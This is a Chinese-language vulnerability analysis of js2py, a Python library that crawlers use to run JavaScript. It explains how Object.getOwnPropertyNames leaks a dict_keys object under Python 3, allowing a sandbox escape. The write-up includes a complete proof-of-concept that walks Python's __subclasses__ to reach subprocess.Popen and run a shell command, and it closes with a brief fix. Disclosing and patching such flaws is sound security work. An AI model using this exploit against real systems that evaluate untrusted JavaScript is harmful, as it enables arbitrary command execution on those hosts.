js2py是一个爬虫常用的python库,用来在python原生环境中解析并执行js代码,爬虫一般会用js2py来解析从网上爬取的js代码,从而模拟浏览器环境。
但是js2py有一个对于爬虫来说极其危险的功能:它支持在js中导入并使用python包,也就是说js2py允许js代码操控各个python库,直接和python环境交互。正是因此,我们可以使用类似Jinja SSTI的方式,在js2py环境中用一个python对象找到subprocess.Popen
类,实现RCE.
而且js2py作为一个python2时代的,应用广泛且年久失修的包,想必分析起来也是相对容易的。
一通下断点后可以找到js代码实际被解析的地方为host/jseval.py
的Eval
函数,在其中下断点就可以看到js2py转换后的python代码。
比如说这段js代码
let a = 114
console.log(a)
最后会被解析成这段python代码
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))
可以看到js层的变量都储存在var
这个python变量中,所有js层的值都干干净净地储存为PyJs
类(这里的Js
实际上是一个函数,后面讲),函数也是通过callprop
进行调用,在正常情况下js代码是无法接触到python对象的。
这里在看代码的时候注意到作者很喜欢用字符串拼接来构造最终的python代码,就想着是不是可以通过构造js代码生成非法的python代码,从而实现构造任意python代码并执行,但是考虑到这条路比后面的这条路要难得多,就没有继续深挖。
为了拿到python对象并实现RCE,首先要看的当然是Python对象是如何转换成PyJs
对象的
首先找到Js
函数的实现,在base.py
里。Js
函数的作用是将传入的python值转换成对应的PyJs
值,从而允许js代码操控这些值
def Js(val, Clamped=False):
'''Converts Py type to PyJs type'''
if isinstance(val, PyJs):
return val
elif val is None:
return undefined
elif isinstance(val, basestring):
return PyJsString(val, StringPrototype)
elif isinstance(val, bool):
return true if val else false
elif isinstance(val, float) or isinstance(val, int) or isinstance(
val, long) or (NUMPY_AVAILABLE and isinstance(
val,
(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
# This is supposed to speed things up. may not be the case
if val in NUM_BANK:
return NUM_BANK[val]
return PyJsNumber(float(val), NumberPrototype)
... # 此处省略若干代码
else: # try to convert to js object
return py_wrap(val)
可以看到bool, float, list等python的基础数据结构会转换成专门的PyJs
类,而其他类型的数据会由py_wrap处理,最终变成PyObjectWrapper
类
普通的PyJs
类代表的是数字、布尔等普通的数据,而PyObjectWrapper
代表的是python模块等特殊数据,所以我们只要拿到一个PyObjectWrapper
类型的数据,就可以使用类似Jinja SSTI的方式依靠取属性实现RCE。
一般来说PyObjectWrapper
类型的数据只有在开启了导入python包的功能后才能利用python包拿到,但因为js2py
年久失修,没有认真考虑python2和python3的差异,最终导致了沙盒逃逸漏洞的产生。
插一条题外话,在看PyJs
的实现时看到作者写了这么几行代码:
if six.PY3:
PyJs.__hash__ = PyJs._fuck_python3
PyJs.__truediv__ = PyJs.__div__
可以说作者是非常讨厌python3的了
js2py
在提供js代码转python代码功能的同时,也提供了console
, Object
等多个内置对象用于支持正常的js代码运行。
我们的最终目标是绕过pyimport的限制拿到PyObjectWrapper
对象。从上面的分析中可以看出,为了无中生有地拿到PyObjectWrapper
对象,我们只能从内置对象的实现入手,从其中拿出PyObjectWrapper
对象。
开始扫内置对象的实现代码,从constructors/jsobject.py
中可以看到Object
对象中各个函数的实现,其中有Object.keys
等常用函数。
然后就可以从其中看到这个函数:
def getOwnPropertyNames(obj):
if not obj.is_object():
raise MakeError(
'TypeError',
'Object.getOwnPropertyDescriptor called on non-object')
return obj.own.keys()
js2py
用dict来表示js中的对象,这里的keys()
调用的是python字典的keys()
。学过python的应该都知道,在python2中这个函数会返回一个列表,而在python3中会返回一个dict_keys
view,而根据上面Js
函数的实现,这个dict_keys
会被转换成PyObjectWrapper
,我们也就可以以此实现RCE
首先验证getOwnPropertyNames
是不是可以拿到PyObjectWrapper
import js2py
code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""
js2py.eval_js(code)
打印了PyObjectWrapper(dict_keys([]))
,当然是可以的
然后根据这个对象拿到__getattribute__
函数,就可以轻松地实现RCE了。当时写PoC的时候想得太复杂了,实际上只要使用__class__.__base__
就可以拿到__getattribute__
函数。
然后根据__getattribute__
函数拿到object对象,再写一个递归函数就可以找到任意模块的任意类了,这里为了RCE找的是subprocess.Popen
新PoC如下:
import js2py
code = """
let cmd = "id"
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(result)
result
"""
js2py.eval_js(code)
既然知道问题出在getOwnPropertyNames
函数里,那就把它返回的dict_keys
转换成普通的列表就好了。